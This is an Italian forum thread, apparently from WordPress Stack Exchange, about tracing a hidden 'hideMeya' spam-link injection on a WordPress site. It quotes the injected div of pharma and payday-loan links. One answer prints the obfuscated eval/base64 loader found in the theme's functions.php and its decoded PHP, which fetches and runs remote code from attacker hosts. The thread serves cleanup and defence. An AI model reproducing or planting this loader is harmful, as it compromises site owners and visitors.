Suggerimenti per trovare link SPAM iniettati in the_content

16 feb 2014, 17:48:44
Visualizzazioni: 26.3K
Voti: 7

Sto lavorando sul sito di un cliente e ho notato che i post hanno un <div> nascosto pieno di link SPAM per pillole di dubbia provenienza, ecc. Sperando di avere fortuna, ho cercato alcune delle parole chiave nelle tabelle del database, ma non ho trovato corrispondenze. Ho anche cercato il codice in tutti i file, e non ho trovato riscontri.

So che gli hack di WordPress possono essere molto difficili da rimuovere e gli hacker si impegnano molto per renderli difficili da trovare. Ma forse ci sono alcuni "soliti sospetti" che potrei controllare, o magari alcuni segnali rivelatori che potrei cercare.

Non sto chiedendo a nessuno di risolvere questo specifico hack. Sto solo cercando consigli su dove cercare (in generale).

Nel caso fosse utile, ecco il <div> non autorizzato che viene iniettato subito prima della chiusura del primo <\p>:

<div id='hideMeya'> Per questo è necessario cercare come si http://www.cialis.com <a href="http://wwxcashadvancecom.com/" title="vuoi $745? visita il nostro sito.">vuoi $745? visita il nostro sito.</a> firma qualsiasi somma di denaro. Visita i nostri creditori sicuri per cattivo credito che cialis levitra sales viagra <a href="http://www10525.c3viagra10.com/" title="viagra australia online">viagra australia online</a> prestatori di giorno di paga sanno altrimenti. Ma il nero che rimani sul prezzo scontato levitra <a href="http://www10385.x1cialis10.com/" title="cos'è l'impotenza negli uomini">cos'è l'impotenza negli uomini</a> dovere nelle loro vite. Cittadino a uno online o dopo aver ricevuto la loro ricerca viagra online <a href="http://www10675.80viagra10.com/" title="www.viagra.com">www.viagra.com</a> per aspettare solo fino a lunedì. Questo si riferisce specificamente al negozio ogni busta paga riceve viagra senza prescrizione <a href="http://www10154.40cialis10.com/" title="consegna cialis overnight">consegna cialis overnight</a> e solo usato o fax richiesto. Controlleremo due volte i prestiti per piccole imprese viagra per donne <a href="http://www10077.x1cialis10.com/" title="cialis india">cialis india</a> siti che funzionano prima dell'approvazione dell'attività. La busta paga è finita contanti ci sarebbe generare levitra <a href="http://www10450.a1viagra10.com/" title="viagra cialis levitra">viagra cialis levitra</a> il metodo di scadenza programmato. Possiedi un'applicazione breve quando anche il denaro acquista cialis online <a href="http://buy4kamagra.com/" title="kamagra">kamagra</a> un sacco di limiti personali iniziali. Anche quei prestiti veloci perché i finanziatori capiscono http://cialis-ca-online.com <a href="http://levitra4au.com/" title="levitrafroaustraila">levitrafroaustraila</a> che noti un anticipo sul giorno di paga. Le domande di prestito sono più comuni grazie http://www.cialis2au.com/ <a href="http://buy-7cialis.com/" title="cialis">cialis</a> solo per applicare sul sito web. I terzi mutuatari utilizzeranno la tua busta paga per farmacia online levitra <a href="http://www10675.30viagra10.com/" title="acquisto viagra online">acquisto viagra online</a> utilizzare questi individui possono coprire. Spesso è necessario garantire anche la farmacia online viagra usa <a href="http://www10600.90viagra10.com/" title="efficacia viagra">efficacia viagra</a> con spese finanziarie. Grazie al controllo del conto anche prestito in contanti commerciante wwwwviagracom.com <a href="http://www10075.90viagra10.com/" title="levitra viagra cialis">levitra viagra cialis</a> confronto stato o da lì. A che pagano in semplici viagra <a href="http://www10225.30viagra10.com/" title="viagra generico più economico">viagra generico più economico</a> secondi e per comprendere. Se un pignoramento o limitato a vedere se approvato www.cashadvances.com | Richiedi un anticipo in contanti online! <a href="http://www10385.70cialis10.com/" title="dosaggio cialis">dosaggio cialis</a> i rischi associati al tuo indirizzo attuale. I secondi mutuatari non dovrebbero iniziare e lottare http://www.cashadvance.com <a href="http://levitra-online-ca.com/" title="levitra in vendita">levitra in vendita</a> almeno un pulsante. Grazie per inviare i benefici della vita quotidiana ordine viagra più economico online <a href="http://www10462.70cialis10.com/" title="tadalafil">tadalafil</a> da essere pignorati sui suoi benefici. Infine puoi ottenere aiuto per ricostruire il prestito originale acquista cialis viagra <a href="http://viagra5online.com/" title="viagra senza prescrizione">viagra senza prescrizione</a> può davvero solo per sorprese. Prestiti bancari fuori ti prenderai http://wviagracom.com/ <a href="http://www10539.40cialis10.com/" title="integratori per disfunzione erettile">integratori per disfunzione erettile</a> le condizioni sono a. Le bollette potrebbero fornire un'auto inaspettata fornitori cialis uk <a href="http://kamagra-ca-online.com/" title="kamagra">kamagra</a> ha rotto un periodo di rimborso. I terzi mutuatari rimborsano perché l'industria del giorno di paga ha i risultati http://www.buy9levitra.com/ <a href="http://www10075.20viagra10.com/" title="uso ricreativo viagra">uso ricreativo viagra</a> dall'uomo medio e verificare il processo. Dopo aver verificato la tua domanda con dignità e carte di credito www.levitra.com <a href="http://www10300.b2viagra10.com/" title="consegna viagra overnight">consegna viagra overnight</a> o guidare per garantire prestito online. La maggior parte delle persone per dollari tra cattivo e cialis gratuito <a href="http://viagra7au.com/" title="http://viagra7au.com/">http://viagra7au.com/</a> invece questi richiedenti è disponibile. Sicurezza sociale contro la tua somma più grande del giorno di paga acquisto viagra online <a href="http://payday7online.com/" title="prestiti rateali diretti dei finanziatori senza controllo del credito">prestiti rateali diretti dei finanziatori senza controllo del credito</a> di pettegolezzi quando si lavora chiamate telefoniche. Affrontalo fornisce industria del giorno di paga di un'ora levitra online <a href="http://www10150.30viagra10.com/" title="acquista viagra ora">acquista viagra ora</a> ha un alto punteggio di credito? Entro pochi minuti durante il tuo miglior punteggio gamma da http://cashadvance8online.com <a href="http://www10450.60viagra10.com/" title="istruzioni dosaggio viagra">istruzioni dosaggio viagra</a> commissioni se ci sono per loro la maggior parte. Per evitare scartoffie in crisi sorgono da wwwpaydayloancom.com | Modulo di richiesta prestiti giornalieri online! <a href="http://www10225.80viagra10.com/" title="viagra super attivo">viagra super attivo</a> online dal pagamento della banca? I fondi sapranno di gettare il tuo anticipo in contanti senza controllo del credito <a href="http://orderviagrauaonline.com/" title="viagara online">viagara online</a> finanze ci sono quella borsa. Le aziende si rendono conto che chiede per cui può diventare cialis online <a href="http://www10375.60viagra10.com/" title="viagra sublinguale">viagra sublinguale</a> idoneo alla busta paga alcuni finanziatori. Fatture mediche che siano molto più facili di quanto effettivamente necessario solo anticipo in contanti online <a href="http://cashadvance8online.com" title="anticipo in contanti online">anticipo in contanti online</a> i tuoi fondi tramite la libertà che hai. </div><script type='text/javascript'>if(document.getElementById('hideMeya') != null){document.getElementById('hideMeya').style.visibility = 'hidden';document.getElementById('hideMeya').style.display = 'none';}</script> </p>
4
Commenti

Questa domanda è stata "messa in attesa" come fuori tema, ma penso che sia stato un errore perché non sto chiedendo nulla di specifico per il mio sito, ma piuttosto per modelli generali associati a questo tipo di attacco. Credo che sia del tutto "in tema" per questo forum.

emersonthis emersonthis
16 feb 2014 18:08:41

Abbiamo appena discusso la riapertura della tua domanda. Il motivo per cui non la riapriamo è che è troppo generica. Non c'è una vera soluzione (sarebbe una "raccolta") e questo non è ciò di cui trattano le domande in tutti i siti della rete SE. Diventerebbe rapidamente un bersaglio per risposte di bassa qualità da parte di cacciatori di reputazione, nonché un bersaglio per link spam. Quando avrai investigato il tuo problema e trovato la causa, e avrai inviato una [modifica], potremmo eventualmente riaprirlo e aiutarti a evitare ulteriori intrusioni di questo tipo.

kaiser kaiser
16 feb 2014 19:14:08

Ho trovato la fonte di questo problema e vorrei rispondere alla mia stessa domanda. Si scopre che il mio problema è, come sospettavo, il risultato di un tipo comune di attacco. E sospetto che le mie scoperte si riveleranno utili per MOLTE altre persone.

emersonthis emersonthis
25 feb 2014 21:01:49

Ho riaperto la domanda e spero che tu spieghi come l'hack sia avvenuto (non solo come sei riuscito a riprenderti da esso).

kaiser kaiser
26 feb 2014 03:43:39
Tutte le risposte alla domanda 2
3

Non ripeterò i buoni consigli già forniti nella risposta di Squish. Dovresti anche leggere questo articolo sulla sicurezza di Wordpress. Mi limiterò a descrivere ciò che ho imparato dalla mia esperienza.

L'attacco che ho subito è un tipo di black hat SEO conosciuto come "hideMeYa": http://siteolytics.com/black-hat-seo-technique-demystified/

In sostanza, l'attaccante inserisce una serie di link nascosti nel contenuto in modo che non siano visibili agli utenti ma vengano rilevati da Google. In questo modo sfruttano siti inconsapevoli per generare backlink verso siti poco affidabili.

È difficile dire con certezza come sia stato fatto, ma in questo sito erano presenti due vulnerabilità di sicurezza note:

  • L'utente admin era ancora in uso (dovresti eliminare/rinominare l'utente admin).
  • Plugin e core non aggiornati

Nel mio caso, il file infetto era il functions.php del tema. All'inizio del file c'era questo codice:

<?php $wp_function_initialize = create_function('$a',strrev(';)a$(lave')); $wp_function_initialize(strrev(';))"=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"(edoced_46esab(lave'));?><?php

Nota come è astutamente nominato per sembrare codice tipico di Wordpress.

Non analizzerò tutto il codice, ma in sostanza è un insieme di codice base64_encode invertito. La funzione strrev() rende difficile individuare i due segnali più evidenti: base64_encode e eval. Il codice non offuscato è incluso di seguito, ma ecco i miei principali insegnamenti (oltre a quanto detto da Squish):

  • Cerca eval e base64_decode, ma anche le loro versioni invertite: lave e edoced_46esab
  • Cerca anche istanze di strrev. Ci sono pochi usi legittimi di queste funzioni nel core di WP che potrebbero generare falsi positivi, ma non così tanti da non poterli esaminare uno per uno.
  • Nel mio caso, l'hack non appare per gli utenti loggati (controlla i cookie del client), quindi non lasciarti confondere. È un trucco astuto per confondere gli utenti che con più probabilità lo stanno cercando.

Buona notte e buona fortuna.

Il codice non offuscato risulta essere questo:

function get_url_999($url){$content="";$content=@trycurl_999($url);if($content!==false)return $content;$content=@tryfile_999($url);if($content!==false)return $content;$content=@tryfopen_999($url);if($content!==false)return $content;$content=@tryfsockopen_999($url);if($content!==false)return $content;$content=@trysocket_999($url);if($content!==false)return $content;return '';}
function trycurl_999($url){if(function_exists('curl_init')===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result=="")return false;return $result;}
function tryfile_999($url){if(function_exists('file')===false)return false;$inc=@file($url);$buf=@implode('',$inc);if ($buf=="")return false;return $buf;}
function tryfopen_999($url){if(function_exists('fopen')===false)return false;$buf='';$f=@fopen($url,'r');if ($f){while(!feof($f)){$buf.=fread($f,10000);}fclose($f);}else return false;if ($buf=="")return false;return $buf;}
function tryfsockopen_999($url){if(function_exists('fsockopen')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$f=@fsockopen($host,80,$errno, $errstr,30);if(!$f)return false;$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";fwrite($f,$request);$buf='';while(!feof($f)){$buf.=fread($f,10000);}fclose($f);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}
function trysocket_999($url){if(function_exists('socket_create')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$ip1=@gethostbyname($host);$ip2=@long2ip(@ip2long($ip1)); if ($ip1!=$ip2)return false;$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);return false;}$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";socket_write($sock,$request);$buf='';while($t=socket_read($sock,10000)){$buf.=$t;}@socket_close($sock);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}
function str_replace_first($search, $replace, $subject) {$pos = stripos($subject, $search);if ($pos !== false) {    $subject = substr_replace($subject, $replace, $pos, strlen($search));}  return $subject;}
function is_bot_ua(){$bot=0;$ua=@$_SERVER['HTTP_USER_AGENT'];if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;if (stristr($ua,"bingbot")||stristr($ua,"googlebot"))$bot=1;return $bot;}
function is_googlebot_ip(){$k=0;$ip=sprintf("%u",@ip2long(@$_SERVER["REMOTE_ADDR"]));if (($ip>=1123631104)&&($ip<=1123639295))$k=1;return $k;}

function update_file_999(){

    $uri="g.php?t=p&i=7dbdd7b4";
    $actual1="http://nlinthewood.com/".$uri;
    $actual2="http://maxigg.ru/".$uri;
    $val=get_url_999($actual1);
    if ($val=="")$val=get_url_999($actual2);
    if (strstr($val,"|||CODE|||")){
        list($val,$code)=explode("|||CODE|||",$val);
        eval(base64_decode($code));
    }
    return $val;
}
26 feb 2014 17:25:37
Commenti

Ok +1 e ho protetto la domanda. Facci solo un favore: invece dei link sopra, per favore mostracI come funziona l'iniezione/come hanno ottenuto accesso poiché questa è la parte che non riguarda "identificare & ripristinare" e quella (prevenirla) è interessante per i lettori della tua domanda. O in altre parole: per favore leggi l'ultimo commento che ho postato sulla domanda per il motivo per cui l'ho riaperta.

kaiser kaiser
27 feb 2014 14:23:18

@kaiser Stai chiedendo una discussione su come l'hacker è riuscito ad accedere/modificare i file? O stai chiedendo più discussione su come funziona l'attacco una volta che è in atto?

emersonthis emersonthis
27 feb 2014 19:40:28

Come è avvenuto l'attacco. Questa è la cosa che interesserebbe ai nostri utenti: rendere WordPress più sicuro.

kaiser kaiser
28 feb 2014 01:51:35
1

In generale, il posto migliore dove cercare è nelle cartelle del tuo tema, in particolare nel tema principale e nel file index.php. Poi nei file footer e header.

Inoltre, controlla le date di modifica e inizia con i file modificati più di recente. Specialmente se ce ne sono diversi che sono stati modificati tutti intorno alla stessa data/ora.

Ho visto, e dovuto risolvere, questo problema diverse volte sui server delle persone. I dati falsi vengono normalmente caricati tramite uno script inserito nei file php del template.

Prima di tutto, dovresti assolutamente leggere le FAQ di WordPress per gestire un sito hackerato.

I punti di ingresso comuni per ottenere l'"accesso" necessario per eseguire l'iniezione sono temi e/o plugin obsoleti. È meglio eseguire server di produzione con un solo tema attivo sul server, oltre a rimuovere i plugin non utilizzati e sostituire i plugin attivi obsoleti.

Esistono alcuni script che puoi caricare sul tuo server per aiutarti a trovare i file infetti in modo da poterli sostituire, pulire o eliminare. (Link elencati di seguito)

Ancora una volta, prova a guardare le date di modifica dei file e controlla quelli che non hai modificato/installato di recente ma che hanno una data recente.

  • Look for Bad Guys : Ho usato questo. Richiede un po' di configurazione per eliminare tutti i falsi positivi... ma almeno può darti un'idea generale di quali file controllare.
  • Wordfence offre la possibilità di scansionare i tuoi file con il loro plugin gratuito, anche se non posso raccomandarlo personalmente, dato che non l'ho usato personalmente. https://www.wordfence.com/docs/how-to-clean-a-hacked-wordpress-site-using-wordfence/
  • Sucuri viene spesso linkato nei forum di WordPress e hanno anche loro un plugin per la scansione, ma ancora una volta... non l'ho usato personalmente. Ma sono una persona che preferisce mettere le mani in pasta.
26 feb 2014 04:02:38
Commenti

Ho appena installato il plugin Wordfence (versione gratuita) ed è incredibile, molto professionale. La gamma di funzionalità e i bei tutorial che ti guidano attraverso ciò che è disponibile sono davvero impressionanti. Grazie per il suggerimento!

Brad Parks Brad Parks
17 ott 2015 04:06:12